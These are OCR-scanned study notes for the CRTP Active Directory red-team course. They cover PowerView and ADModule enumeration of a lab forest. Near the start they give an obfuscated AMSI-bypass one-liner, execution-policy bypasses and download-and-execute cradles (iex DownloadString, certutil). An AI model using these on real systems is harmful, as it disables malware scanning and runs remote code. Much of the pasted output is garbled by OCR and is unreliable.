1:@
CRTP-Notes-Meshari-Almalki

., Meshari-Almalki Enjoy® Twitter: @slved Linkedin:@meshari-almalki

L

Active Directory:

Active Directory (AD) is Microsoft's proprietary directory service. It runs on Windows Server
and enables administrators to manage permissions and access to network resources.

Active Directory stores data as objects. An object is a single element, such as a user,
group, application or device such as a printer. Objects are normally defined as either
resources, such as printers or computers, or security principals, such as users or groups.

PowerShell Cmdlets:
Get-Command -CommandType cmdlet

Get-Process - Get All process on Machine

Execution Policy:
« powershell -ExecutionPolicy bypass
« powershell -ep bypass
« powershell -c <cmd>

- powershell -encodedcommand $env:PSExecutionPolicyPreference="bypass”

PowerShell Module:

| This Import a module

Import-Module <modulePath>

| This 1list all commands of module.
Get-Command -Module <moduleName>

Download EXC cradle:

iex(New-Object Net.webClient).DownloadString(’https://")

certutil.exe -urlcache -f “URL” File_name

S'eT-It'em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2") + ('uz'+'x') ) ( [TYpE]( "{1}{@}"-F'F','rE' ) ) ; ( Get-varI'A'BLE ( ('1Q'+'2U') +'z
X' ) -vaL )."A'ss Embly"."GET TY Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('uti'+'l"),'A', ('Am'+'si'), ('.Man'+'age'+'men'+'t."), ('u'+'to'+'m
ation.'),'s', ('Syst'+'em') ) )."g etf iEID"( ( "{0}{2}{1}" -f('a'+'msi'),'d', ('I'+'nitF'+'aile') ), ( "{2}{4}{0}{1}{3}" -f ('S'+'ta
t'),'i', ("Non'+'Publ'+'i'), 'c', 'c, " ))."sE T VaLUE"( ${n UL1},${t RuE} )

Transfare File:

# PSCP command
pscp <username>@<ip_of_target-Machine>:/<Directory_Of_file> <Destination>

¥ Domain Enumeration

I can use it by .NET class or by scripts like [ PowerView.psl ]

AMSIJ o sowl oY i JS Ji8  ( Antimalware Scan Interface )
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Check this GitHub Gist for other PowerShell bypasses — reigningshells/powershell-

bypasses.psi

1. .NET Class Command to View Domain Name and Other

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

Forest — Name of Forest

Parent — Name of Domain
DomainControllers - There is Just one { dcorp-dc }
DomainModeLevel - Windows Server 2016

Name - Child Domain Name { dollarcorp } { Just one level we have inside Forest}

2. PowerView.psl
a. Get-NetDomain - For Domain Enumeration
cat .\amsibypass.txt

+'arR” 'TA" + ('blE:1"+"
6143 HO}{5}" F(

Non"+"Publ'+'i'),"

: moneycorp. local
DomainControllers : {dcorp-dc.dollarcorp.moneycorp.local}
IChildren : {us.dollarcorp.moneycorp. local}
DomainMode nknown
DomainModel evel
Parent moneycorp. local
PdcRoleOwner : dcor c.dollarcorp.moneycorp. local
RidRoleOwner : dcor c.dollarcorp.moneycorp. local
InfrastructureRoleOwner : c.dollarcorp.moneycorp. local
Name : dollarcorp.moneycorp.local

D\Tools> [System.Directo es.Acti re .Domain]: :GetCurrentbDomain()

Forest : moneycorp. local

DomainControllers : {dcorp-dc.dollarcorp.moneycorp.local}
Children : {us.dollarcorp.moneycorp. local}
DomainMode Unknown

DomainModel evel

Parent : moneycorp. local

PdcRoleOwner : dcorp-dc.dollarcorp.moneycorp.local
RidRoleOwner : dcor c.dollarcorp.moneycorp. local
InfrastructureRoleowner : dcor c.dollarcorp.moneycorp. local
Name : dollarcorp.moneycorp.local

PS C:\AD\Tools> _
<

b. cet-Netpomain -Domain <Domain_Name> - Get object of another Domain
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C:\AD\Tools> Get-NetDomain moneycorp. local

Forest moneycorp. local
DomainControllers {mcorp-dc.moneycorp. local}
Children {dollarcorp.moneycorp. local}
DomainMode Unknown

DomainModel evel

Parent

PdcRole0wner mcorp-dc.moneycorp. local
RidRoleOwner mcorp-dc.moneycorp. local
InfrastructureRole0wner mcorp-dc.moneycorp. local
Name moneycorp. local

C. Get-pomainsip — Print Domain SID Number ,

d. cet-pomainpolicy — Print Domain Policy for current domain .

PS C:\AD\Tools> Get-DomainPolicy

Name

Kerberos Policy {MaxTicketAge, MaxServiceAge, MaxClockSkew, MaxRenewAge...}
vstem Access {MinimumPasswordAge, MaximumPasswordAge, LockoutBadCount, Passwo
ersion {Revision, signaturel}

Registry Values 1 C ystem\CurrentControlSet\Control\Lsa\NoLMHash}

Unicode {Unicode}

(Get-DomainPolicy).”Name_Of_Specific_DomainPolicy”.
(Get-DomainPolicy) . 'system access’

This help to show value of Domain Policy Like Kerberos Policy , For attack like Golden
Tikcet.

PS C:\AD\Tools> (Get-DomainPolicy).

Name Value
1axTicketAge
ServiceAge
ClockSkew
laxRenewAge
icketvalidateClient

€. Get-NetDomainController

:\AD\Tools> Get-NetDo ontrol ler

st : moneyco
entTime 8
es tCommi ttedusn

d
uctureRole}

ersCallback
ndConnections dec78-e40a-4c4f-afad-c506092af93f, e 9 0fbb-4del
OutboundConnections £92a129. 5F6f 9c-eefaf42dd608, 2f7dd237-61cl-414
ame d B ~corp.moneycorp. local
Partitions 3 onfiguration,DC=moneycorp,bC=local, hema, CN=Configuration,DC=moneycorp,DC=local, DC=ForestDnsZzones,DC=moneycorp,DC=local,
511arcorp ,DC=moneycorp, ocal...}

AD\Tools> Get-NetDomainController moneycorp. local

st : moneycor
entTime : 4/4/2022
es tCommittedUsn 1901140
i Windows

: {SchemaR

*_maneyrar,

e-Name

B
erscallback :
InboundConnections : {1l 1-4d0b-94 1, 92al2922-5
QutboundConnections g 5934c-0fbl 4delia5&$ 3 3442b4, e 35b-
N g oca
, CN=Conf s rp ,DC s < ,CN=Configuration,DC=moneycorp,DC=local,

ne
Partitions
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3. ADModule:

a. Import-Module <Microsoft.ActiveDirectory.Management.d11>

Commands of ADModule:

« Get-ADDomain - Like Get-NetDomain in PowerView.psl

Import-Module .\ADModule-master\Microsoft.ActiveDirectory.Management.dl1]

\AD\Too]s\ADModule-mas ter
Get-ADDomain

:\AD\Tools\ADModuTle-masters

-1-5-21-1874500631-
1

i}
windows2016Domain

i 31B2F340-016D-11D2-945F-00C04FB984F9} ,CN=Policies ,CN=System,DC
lus doHar:orp meneycorp. local}
omputers,DC=dollarcorp,DC

Domain Controllers,bc=do1larcorp,D
. ecul"\tyPr'\ncwpaWs DC=dollarcorp,DC
moneycorp. local
dcorp-dc. dollarcorp.moneycorp. Tocal
dcorp
dcorp-dc.dollarcorp. moneycorp. Tocal
i moneycorp. W(w(aW

Y

oupPolicyobjects ol11arcorp ,DC=moneycorp,DC=local}
Chii 1dDomains

ComputersContainer
DemainCentrollersContainer
ForeignSecurityPrincipalsContainer

oneycorp,DC=Tocal
moneycorp,DC=local
oneycorp ,Dc=local

InfrastructureMaster
NetBIOSName
PDCEmulator
frarentDomain
RIDMaster
SystemsContainer
UsersContainer
SubordinateReferences
DNSRoot
LostAndFoundContainer
fibe1etedobjectsContainer
'‘QuotasContainer
PIReadOn1yRep1icaDirectoryServers
ReplicabDirectoryservers
PIDi < i nguishedName
”Name
ObjectClass
'Ghjectumd
{PropertyNames
AddedProperties
IRemovedProperties
ModifiedProperties
PropertyCount

ystem,D e m(mey((:rp D
Isers DC=dolTarcorp, DC=moneycor

pé=dollarcorp,bé=moneycorp, e omainbnsZzones ,bc=dol1arcorp,DC=moneycorp,dc=local}

{DC )
do'\ larcor

-Jocal
,oﬂarcorp DC
N Deleted ijects DC=dollarcorp,DC=i
qQuotas , D

moneycerp,Dc=local
moneycorp,DC=local
dollarcorp,DC=moneycorp, DC

{eamm=dle AT lnresmm. s, ezl
dollarcorp,DC=moneycorp,DC=1ocal
dollarcorp

a00-4947-bd10-6d9d91b64dde

Suffixes, ChildDomains, ComputersContainer, DeletedObjectsContainer...}

ub'\ ickeyRequiredPasswordRolling}

gl

e-master\ADModule-master> Get-ADDomain

3

dollarcorp. moneycorp. local}

beletedobjectsContainer
am

tinguishe: p,DC
moneycorp. local

DomainController
DomainMode
DomainSID

Ou=pomain Controller
windows201600on:

s-1 80534878-1496970234-7,
SecurityPrincipals,D

ForeignsecurityPrincipalsContainer
st

uctureMaster

licationInterval
,CN=System, DC=moneycorp,DC=Tocal}

Los tandFoundContainer

ManagedBy

Name

NetBIOSName

ObjectClass

ObjectGUID

arentDomain

mcorp
domainDNS

74020-5fd3-43d5-bf7 f-eef690db

mcorp-dc. moneycorp. Tocal
quiredpasswordrolling Tr
sContainer
nlyReplicaDirectorys ers
s

on oneycorp,bc=local,
g umn DC=moneycorp,DC=local}

n,
Jsers, DX

« Get-ADDomainController

C:\AD\TooIs\ADModule-master\ADModule-master> Get-ADDomainController

=DCORP-DC ,0U=Domain Controllers,bC=dollarcorp,DC=moneycorp,DC=local
ollarcorp,DC=moneycorp,DC
orp.moneycorp. local

omputerobjectDN

pefaultPartition DC

dollarc

True

moneycorp . Tocal

d(nrp dc. d(ﬂ]arcnrp moneycorp. local
a92f3 d8-873d-e985619a8d87

CORP-DC ,CN=Servers ,CN=Default-First-site-Name,CN=Sites,CN=Configuration,DC=moneycorp, DX

ettings,CN:
tandard

rver 2016

e
windows

10.0 (14393)
{PDCEmulator, RIDMaster, InfrastructureMaster}
{DC do1larcorp,D
u‘atuxn DC
efault-First-s
92ad1473f35d

perationMaster R(ﬂ es
DC=ForestDnsZone:

artitions

, DC=dollarcerp,DC=moneycorp,DC=Tocal,

‘tes ,CN=Configuration,DC=moneycorp,DC=Tocal

421;af30 b75-466d-bced—
Default-First-Site-Name
6

v

1. PowerView
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« Get-NetUser - List all users ,

PS C:\AD\Tools> Get-NetUser Administrator

: 65535

: 4/4/2022 10:50:02 AM
Built-in_account for administering the computer/domain
C CN:

stinguishedname s,Dc=dollarcorp,DC=moneycorp,DC=local
bjectclass ,_person, izationalPerson, user}
last1ogontimestamp AM
hame
bjectsid
amaccountname

y ~local

tiondata 2019 1:04:02 PM, 2/19/2019 12 9 PM...}

DC orp,DC=local, CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp, DC=local
ated H

[iscriticalsystemobject :

badpwdcount 0

n Administrator

useraccountcontrol 6!

usncreated 8

primarygroupid

pwdlastset : 2/16/2019 9:14:11 pM

: 2799391

« Get-NetUser -User <UserName> - Get Full Information about Specific User .

- Get-UserProperty - Get All Properties for username .

\AD\Tecols> Get-UserProperty

accountexpires
admincount
adspath
badpasswordtime
badpwdcount

cn

codepage
countrycode
description
distinguishedname
dscorepropagationdata
instancetype
iscriticalsystemobject
lastlogoff
lastlogon
lastlogontimestamp
Togoncount
memberof

name
objectcategory
objectclass
objectguid
objectsid
primarygroupid
pwdlastset
samaccountname
samaccounttype
useraccountcontrol
usnchanged
usncreated
whenchanged
whencreated

« Get-UserProperty -Properties <NameOfProperty>
Important :
Search for particular string in a user’s attribute why ??
that’s help for looking some password that forget in description

Find-UserField -SearchField Description -SearchTerm “”

PS C:\AD\Tool Find-UserField Description

samaccountname description

Administrator Built-in account for administering the computer/domain
Guest Built-in account for guest access to the computer/domain

2. ADModule
« Get-ADUser -Filter * -Property *

« Get-ADUser -Identity <UserName> -Property *
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« Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType
*Property | select Name

« Get-ADUser -Filter ‘Description -like “built”’ -Properties Description | select name
, Description

¥ Computer Enumeration

1. PowerView

« Get-NetComputer - Computer object in Domain ( Not necssary actually Machine in domain

)
« Get-NetComputer -Ping - Which Machine is live or not
« Get-NetComputer -FullData

« Get-NetComputer -OperatingSystem “*Server 2016*”

2. ADModule
« Get-ADComputer -Filter * | select Name

« Get-ADComputer -Filter ‘OperatingSystem -Like “*Server 2016*"”’ -Properties
OperatingSystem | select Name,OperatingSystem

¥ Group Enumeration
1. PowerView
« Get-NetGroup - List all the domain groups

« Get-NetGroup -Fullbata

« Get-NetGroup “Domain Admins” -FullData - Specifie Group Domain Admins .(wloglze ilasy
o.o)| O*090 ,o.g.u:))l;o ob),._;_“ Oe Lg...a q.J.ua.n.u )
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ry| aphic Operators
Event Log Re ders
r”wce DCOM Access

Endpoint
RDS Management
Hyper-V Administrators
Access Control Assistance Operators
Remote Management Users
System Managed Accounts Group
Storage Replica Administrators
Domain Computers
Domain Controllers
Schema Admins
Enterprise Admins
Cert Publishers
Domain Admins
Domain Users
Domain Guests
Group Pol Feator Oowners

and I rvers
Server Operators
/Account Operators
Pre-Windows 2000 Compatible Access
Incoming Forest Trust Builders
windows Authorization Access Group
Terminal Server License Servers
Allowed RODC Password Replication Group
Denied RODC Password Replication Group

d-only Domain Controllers

rise Read-only Domain Controllers

Cloneable Domain Controllers
Protected Users
Key Admins
Entehp[1se Key Admins

> Get-NetGroup

usncreated
grouptype
samaccounttype
samaccountname
whenchanged 2 2019 6 AM
objectsid 631-3219952063-538504511-513
objectclass {top, group}
cn : Domain Users
usnchanged 3
pagationdata { /2 B , 2/21/2019 12 8 / 019 1:04:02 pPm, 2/19/2019 12:55:49 PM. ..
H z i ollarcorp rp
H omain Users,CN=Users D 7d0113|c0|p DC=moneycorp,DC=local
iscriticalsystemobject :
description : All domain users
distinguishedname g omain Hsers CN=Users ,DC=dollarcorp,DC=moneycorp,DC=local
name 8
whencreated
instancetype :
objectguid H g 32-4711-92a1-35939195e601
objectcategory : roup chema ,CN=Configuration,DC=moneycorp,DC=local

\AD\Tools> _

« Get-NetGroup -GroupName “*admin*” - All groups Contains admin keyword

PS C:\AD\Tools> Get-NetGroup *admin®*
Administrators
Hyper-Vv Administrators
Storage Replica Administrators
Domain Admins
Key Admins
DnsAdmins

5 \VAD ."\TCI ols>

- Get-NetGroup -GroupName “*admin*” -Domain <Forest_Root> - to get more group for
enterprise admin and so on , these are groups part avilable only on the DC on they
forest root <moneycorp.local>

PS C:\AD\Tool Get-NetGroup moneycorp. local
Administrators

Hyper-V Administrators

Storage Replica Administrators

Schema Admins

Enterprise Admins
—~ - a A

5

Key Admins

Enterprise Key Admins
DnsAdmins

PS C:\AD\Tool

2. ADModule

« Get-ADGroup -Filter * Get-ADGroup -Filter * | select Name
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1. PowerView

» Get-NetGroupMember -GroupName “Domain Admins”

PS C:\AD\Too

GroupDomain
GroupName
MemberDomain
MemberName
MembersID
IsGroup
MemberDN

GroupDomain
GroupName
MemberDomain
MemberName
MembersSID
IsGroup
MemberDN

15> Get-NetGroupMember

dollarcorp.moneycorp. local
Domain Admins
dollarcorp.moneycorp. local
svcadmin
S-1-5-/1-1
False
CN=svc admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local

506631-3219952063-538504511-1122

dollarcorp.moneycorp. local
Domain Admins
dollarcorp.moneycorp.local
Administrator

5-1-5-21-1874506631-3219952

False
CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp, D

3-538504511-500

local

GroupDomain : dollarcorp.moneycorp.local

GroupName : Domain Admins

MemberDomain : dollarcorp.moneycorp.local

MemberName : svcadmin

MemberSID : S-1-5-21-1874506631-3219952063-538504511-1122

IsGroup : False -> This mean is a member not a group

MemberDN : CN=svc admin, CN=Users,DC=dollarcorp,DC=moneycorp,DC=1local
GroupDomain : dollarcorp.moneycorp.local

GroupName : Domain Admins

MemberDomain : dollarcorp.moneycorp.local

MemberName : Administrator -> Built-in Default Domain Administrator
MemberSID : S-1-5-21-1874506631-3219952063-538504511-500 -> for Administrator (500)
IsGroup : False -> This mean is a member not a group

MemberDN : CN=Administrator,CN=Users, DC=dollarcorp,DC=moneycorp,DC=1local

500 pb simei Lai 135 Olisd L5l pal Wl geoYl el ukis oS ail 500 b, oo o,Sall

Active Directory Domain SIDs’

SID: 5-1-5-21<DOMAIN>-500

Name: Administrator

Description: A user account for the system administrator. By default, it is the only
user account that is given full control over the system.

Get-NetGroupMember -GroupName "Enterprise Admins"

//sn Sl JgjiisS rogdl 8 Laine lais ai¥ T ad @l sl ulas zlb

// moneycorp. local

Get-NetGroupMember -GroupName "Enterprise Admins" -Domain '"moneycorp.local"

\AD\Too 1
\AD\Too 1

-~ Get-NetGroupMember
~ Get-NetGroupMember

: moneycorp. local
GroupName Enterprise Admins
MemberDomain : moneycorp.local
: Administrator
: 5-1-5-21-280534
alse
: CN=Administrator,CN=Users,DC=moneycorp

GroupDomain

IsGroup

MemberDN DC=Tocal

GroupDomain : moneycorp.local

GroupName : Enterprise Admins

MemberDomain : moneycorp.local -> |5 gwgall b wdsle Jis
MemberName : Administrator
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MemberSID
IsGroup
MemberDN

: S-1-5-21-280534878-1496970234-700767426-500
. False
: CN=Administrator,CN=Users, DC=moneycorp, DC=1local

« Get-NetGroupMember -GroupName “Administrators” -Recurse

Get-NetGroupMember

C:\AD\Tools

dollarcorp.moneycorp. local
Administrators

moneycorp. local

Enterprise Admins
S-1-5-21-/805348

True

CN=knterprise Admins,CN=Users,DC=moneycorp,DC=1local

GroupDomain
GroupName
MemberDomain
MemberName
MemhersTn
IsGroup
MemberpN

7426-519

GroupDomain dollarcorp.moneycorp. Tocal

GroupName
MemberDomain
MemberName
MemberSID

Administrators

dollarcorp.moneycorp. local

Domain Admins
—-1-5-21-18/45

31-3219952

538504511-512

True
CN=Domain Admins,CN=Users,D:

IsGroup
MemberDN ollarcorp,DC=moneycorp,DC=local
GroupDomain
GroupName
MemberDomain
MemberName
MembersiIpD
IsGroup
MemberDN

dollarcorp.moneycorp. local
Administrators
y1larcorp.moneycorp. local
Administrator
-1-5-21-1874506631-321995
False
CN=Administrator,CN=Users,D

63-538504511-500

dol1larcorp,DC=moneycorp, Dl

GroupDomain : dollarcorp.moneycorp.local

GroupName : Administrators

MemberDomain : moneycorp.local

MemberName : Enterprise Admins

MemberSID : S-1-5-21-280534878-1496970234-700767426-519

IsGroup D True -> i alsh g8 ¢ o)l lan

MemberDN : CN=Enterprise Admins,CN=Users,DC=moneycorp,DC=local
GroupDomain : dollarcorp.moneycorp.local

GroupName : Administrators

MemberDomain : dollarcorp.moneycorp. local

MemberName : Domain Admins

MemberSID : S-1-5-21-1874506631-3219952063-538504511-512
IsGroup 1 True

MemberDN : CN=Domain Admins,CN=Users,DC=dollarcorp, DC=moneycorp,DC=Llocal
GroupDomain : dollarcorp.moneycorp.local

GroupName : Administrators

MemberDomain : dollarcorp.moneycorp. local

MemberName : Administrator

MemberSID : S-1-5-21-1874506631-3219952063-538504511-500
IsGroup 1 False -> giiwiodl so (ol Cgyall o s

MemberDN : CN=Administrator,CN=Users,DC=dollarcorp, DC=moneycorp,DC=1local

oSl paxiwile sy
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AD\Tools> Get-NetGroupMember

GroupDomain dollarcorp.moneycorp. local

GroupName Administrators

MemberDomain moneyco

MemberName Enterp

MembersSID 1-2805348 9 34-7007 26-519
IsSGroup

MemberDN CN=Enterprise Admins,CN=Users ,DC=moneycorp,DC=local

GroupDomain moneycorp. local

GroupName Enterprise Admins

MemberDomain : moneycorp.local

MemberName Administrator

MembersID -1-5-21-280534 149 3 26-500
IsGroup False

MemberDN : CN=Administrator,CN=Users,DC=moneycorp,DC=local

upDomain : dollarcorp.moneycorp.local
GroupName Administrators
MemberDomain dollarcorp.moneycorp. local
MemberName Domain_Admins
MemberSID 1-5-21-1874506631-321995 3-538504511-512
IsGroup True
MemberDN CN=Domain Admins,CN=Users ,DC=dollarcerp,DC=moneycorp,DC=Tlocal

GroupDomain dollarcorp.moneycorp. local
GroupName Domain Admins
MemberDomain dollarcorp.moneycorp. local
r vcadmin
7%7572171 4506631-3219952063-538504511-1122
False
MemberDN CN=svc admin,CN=Users D ollarcorp,DC=moneycorp,DC=1local

GroupDomain dollarcorp.moneycorp. local

GroupName Domain Admins

MemberDomain dollarcorp.moneycorp. local

MemberName Administrator

Member 5-1-5-21-1874506631-3219952063-538504511-500

IsGroup False

MemberDN : CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=T1ocal

GroupDomain dollarcorp.moneycorp. local

GroupName Administrators

MemberDomain dollarcorp.moneycorp. local

MemberName Administrator

MemberSID 21-1874506631-3219952063-538504511-500

IsGroup

MemberDN : CN=Administrator,CN=Users, do1Tlarcorp,DC=moneycorp,DC=1ocal

GroupDomain : dollarcorp.moneycorp.local

GroupName : Administrators

MemberDomain : moneycorp.local

MemberName : Enterprise Admins

MemberSID : S-1-5-21-280534878-1496970234-700767426-519

IsGroup 1 True

MemberDN : CN=Enterprise Admins,CN=Users,DC=moneycorp,DC=local
GroupDomain : moneycorp.local

GroupName : Enterprise Admins

MemberDomain : moneycorp.local

MemberName : Administrator -> Enterprise AdminsJlL ol> ,iow
MemberSID : S-1-5-21-280534878-1496970234-700767426-500

IsGroup : False

MemberDN : CN=Administrator,CN=Users, DC=moneycorp,DC=1local
GroupDomain : dollarcorp.moneycorp.local

GroupName : Administrators

MemberDomain : dollarcorp.moneycorp. local

MemberName : Domain Admins

MemberSID : S-1-5-21-1874506631-3219952063-538504511-512
IsGroup : True

MemberDN : CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=1local
GroupDomain : dollarcorp.moneycorp. local

GroupName : Domain Admins

MemberDomain : dollarcorp.moneycorp. local

MemberName : svcadmin -> Domain AdminsJl (ol> ,iow

MemberSID : S-1-5-21-1874506631-3219952063-538504511-1122
IsGroup : False

MemberDN : CN=svc admin, CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
GroupDomain : dollarcorp.moneycorp.local

GroupName : Domain Admins

MemberDomain : dollarcorp.moneycorp. local

MemberName : Administrator

MemberSID : S-1-5-21-1874506631-3219952063-538504511-500
IsGroup : False

MemberDN : CN=Administrator, CN=Users, DC=dollarcorp,DC=moneycorp,DC=1local
GroupDomain : dollarcorp.moneycorp. local

GroupName : Administrators

MemberDomain : dollarcorp.moneycorp.local

MemberName : Administrator

MemberSID : S-1-5-21-1874506631-3219952063-538504511-500
IsGroup : False

MemberDN : CN=Administrator, CN=Users, DC=dollarcorp,DC=moneycorp,DC=1local

CRTP-Notes-Meshari-Almalki



29790 wod sl o gl el plae

Get-NetGroup -UserName <UserName>

Get-NetGroup -Username "Administrator"
dcorp\Denied RODC Password Replication Group

dcorp\Domain Admins
dcorp\Domain Users

dcorp\Group Policy Creator Owners

#osipimiodl ol lg) creis I wlojall 530

Get-NetGroup -UserName "Administrator" -Domain "moneycorp.local"
mcorp\Denied RODC Password Replication Group
S-1-5-21-280534878-1496970234-700767426-519

mcorp\Schema Admins

mcorp\Group Policy Creator Owners

mcorp\Domain Users
mcorp\Domain Admins

# Gosd ool pubuiYl lgiog 3l wloglee willaty cunjsd Gosall o>

# 519 aod,

wgsd sl o Ul wel plne

PS C:\AD\Tools> whoami
dcorp\student181

PS C:\AD\Tools> Get-NetGroup -UserName "student182"

dcorp\RDPUsers
dcorp\Domain Users

PS C:\AD\Tools> Get-NetGroup -UserName "student182" -FullData

grouptype
displayname
samaccounttype
samaccountname
whenchanged
objectsid
objectclass

cn

usnchanged

dscorepropagationdata :

name
adspath
description
distinguishedname
member

usncreated
whencreated
instancetype
objectguid
objectcategory

usncreated

grouptype
samaccounttype
samaccountname
whenchanged

objectsid

objectclass

cn

usnchanged
dscorepropagationdata
memberof

adspath
iscriticalsystemobject
description
distinguishedname
name

whencreated
instancetype
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-2147483646

RDP Users

268435456

RDPUsers

10/7/2021 12:53:14 PM
S-1-5-21-1874506631-3219952063-538504511-1116 -> not built in group
{top, group}

RDP Users

2769985

{5/3/2020 9:04:05 AM, 2/21/2019 12:17:00 PM, 2/19/2019 1:0
RDP Users
LDAP://dcorp-dc.dollarcorp.moneycorp.local/CN=RDP Users,CN
RDP Users Group

CN=RDP Users,CN=Users,DC=dollarcorp, DC=moneycorp, DC=1local
{CN=student190, CN=Users, DC=dollarcorp, DC=moneycorp, DC=1loca
CN=student188, CN=Users, DC=dollarcorp, DC=moneycorp, DC=1local
14632

2/17/2019 1:27:15 PM

4

46ead3d4-f93c-4c0f-8f43-81c5e802e0a4

CN=Group, CN=Schema, CN=Configuration, DC=moneycorp, DC=1local

12318

-2147483646
268435456

Domain Users
2/17/2019 7:01:46 AM

1 S-1-5-21-1874506631-3219952063-538504511-513 -> built in group

{top, group}
Domain Users
12320

{5/3/2020 9:04:05 AM, 2/21/2019 12:17:00 PM, 2/19/2019 1:
CN=Users, CN=Builtin,DC=dollarcorp, DC=moneycorp,DC=1local
LDAP://dcorp-dc.dollarcorp.moneycorp.local/CN=Domain User

i True
: All domain users

CN=Domain Users,CN=Users,DC=dollarcorp, DC=moneycorp, DC=1o
Domain Users
2/17/2019 7:01:46 AM

4
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objectguid : 1d9a6145-d382-4711-92a1-35939195e601
objectcategory : CN=Group, CN=Schema, CN=Configuration, DC=moneycorp, DC=local

List A1l groups into a domain controller :

Get-NetLocalGroup -ComputerName <DC> -ListGroups

Server Group SID Description
dcorp-dc.dollarcorp.moneycorp.local Server Operators S-1-5-32-549 Members can administer domain servers
dcorp-dc.dollarcorp.moneycorp.local Account Operators S$-1-5-32-548 Members can administer domain user and

group accounts

dcorp-dc.dollarcorp.moneycorp.local Pre-Windows 2000 Compatible Access S-1-5-32-554 A backward compatibility group which a
llows read access on all users and groups in...

dcorp-dc.dollarcorp.moneycorp. local Windows Authorization Access Group S-1-5-32-560 Members of this group have access to t
he computed tokenGroupsGlobalAndUniversal at...

dcorp-dc.dollarcorp.moneycorp.local Terminal Server License Servers S-1-5-32-561 Members of this group can update user
accounts in Active Directory with informatio...

dcorp-dc.dollarcorp.moneycorp.local Administrators S$-1-5-32-544 Administrators have complete and unres
tricted access to the computer/domain

dcorp-dc.dollarcorp.moneycorp. local Users S-1-5-32-545 Users are prevented from making accide

ntal or intentional system-wide changes and

List Membership of Administrator Group inside DC :

Get-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local

ComputerName : dcorp-dc.dollarcorp.moneycorp.local

AccountName : dollarcorp.moneycorp.local/Administrator

IsDomain i True

IsGroup : False

SID : S-1-5-21-1874506631-3219952063-538504511-500 -> Administrator user
Description

Disabled

LastLogin 1 4/6/2022 6:27:00 AM

PwdLastSet

PwdExpired

UserFlags

ComputerName : dcorp-dc.dollarcorp.moneycorp.local
AccountName : dollarcorp.moneycorp.local/Domain Admins
IsDomain : True

IsGroup i True

SID : S-1-5-21-1874506631-3219952063-538504511-512
Description

Disabled

LastLogin

PwdLastSet

PwdExpired

UserFlags

List Actively Logged users on a computer — Need local admin priv

\AD\Tools> Get-NetLoggedon dcorp-dc.dellarcorp. moneycorp. local
:\AD\Tools> _

i’m not a local admin =2

List Locally logged users on a computer — need remote registry it’s by default on server
0s

Get-Loggedonlocal -ComputerName <DC>
Get-LoggedOnLocal -ComputerName dcorp-dc.dollarcorp.moneycorp.local

CRTP-Notes-Meshari-Almalki
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ComputerName UserDomain UserName UserSID

dcorp-dc.dollarcorp.moneycorp.local dcorp Administrator S-1-5-21-1874506631-3219952063-538504511-500

List last logged user on computer ( need administrative and registry on the target )

Get-LastLoggedOn -ComputerName dcorp-dc.dollarcorp.moneycorp.local
WARNING: [!] Error opening remote registry on dcorp-dc.dollarcorp.moneycorp.local. Remote registry likely not enabled.

« Find shared on host in current Domain

Invoke-ShareFinder -Verbose -> This will Get all share Include IPC and Print etc

"AD \Tools> Invoke-ShareFinder
[*] Running Invoke-shareFinder with delay_of 0
[*] querying domain dollarco Tocal for hosts
Get-DomainSearcher search string: LDAP://dcorp-dc.dollarcorp.moneyco
Get-NetComputer filter : '(&(sAMAccountTyp. 306369) (dnshostnam
[*] Total number of hosts: 24
T or threads to finish...
threads completed
number of active hosts: 19
rating server dcorp-sqll.dollarcorp.moneycol Woca'\ @ of 19)
r share: @{shil_netname=ADMINS; shil_typ 6 shil_remark=Remote Admin; ComputerName=dcorp-sqll.dollarcorp.moneycorp.local}
r .moneycm .Tocal\ADMINS - Remote Admin
share: @{shil_netname=C$; shil_type=2147483648; shil_remark=Default share; ComputerName=dcorp-sql1l.dollarcorp.moneycorp.local}
(olp money(mp Jocal\c$ - Default shal
re: @{shil netname=IPCS; shil_type=2147483651; shil_remark=Remote IPC; ComputerName=dcorp-sqll.dollarcorp.moneycorp.local}
.doHarcorp moneycorp. local\IPC - Remote IPC
Enumerating server dcorp-stdl76.dollarcor ocal (2 of 19)
erver share: @{shil_netname=ADMINS; 21474836: shil_remark=Remote Admin; ComputerName=dcorp-stdl76.dollarcorp.moneycorp.local}
moneycorp. Tocal\ADMINS - Remote Admin
@{shil_netname=C$; shil_type=2147483648; shil_remark=Default share; ComputerName=dcorp-stdl76.dollarcorp.moneycorp.local}
moneycorp. Tocal\C$ - Default shal
@{shil_netname=IPC$; shil_type=2147483651; shil_remark=Remote IPC; ComputerName=dcorp-stdl76.dollarcorp.moneycorp.local}
moneycorp. Tocal\IPC Remote IPC
@{shil netname=shared; shil_typ shil_remark=; ComputerNam ~p-std176.dollarcorp.moneycorp. locall
moneycorp. local\shared
server dcorp-std o11arcor money(or 10(31 (3 of 19
@{shil_netname=ADMINS; shil_type=214748 ; shil_ lemalk Remote Admin; ComputerName=dcorp-std183.dollarcorp.moneycorp.local}
moneycorp. lTocal\ADMINS$ - Remote Admm
@{shil_netname=C$; shil type=2147483648; shil_remark=Default share; ComputerName=dcorp-stdl83.dollarcorp.moneycorp. local}
moneycorp. Tocal\C§ T e
@{shil_netname=IPC$; shil_type=2147483651; shil_remark=Remote IPC; ComputerName=dcorp-std183.dollarcorp.moneycorp.local}
moneycorp. 1 \IPC$ - Remote IPC
@{shil netname=shared; shil_typ
dis moneycorp. Tocal\shared
[¥] Enumerating server dcorp-std o11arcorp. moneycor, 10:51 4 of 19)
rver share: @{shil_netname=ADMINS$; shil_type=2147483648; shil_l remark Remote Admin; ComputerName=dcorp-std178.dollarcorp.moneycorp.local}
moneyconp Tocal\ADMINS - Remote Admm
@{shil_netnam : shil_type=2147483648; shil_remark=Default share; ComputerName=dcorp-stdl78.dollarcorp.moneycorp.local}
moneycorp. Tocal ~ Default shal
@{shil_netname=IPC§; shil_type=2147483651; shil_remark=Remote IPC; ComputerNam r d178.dollarcorp. moneycorp.local}
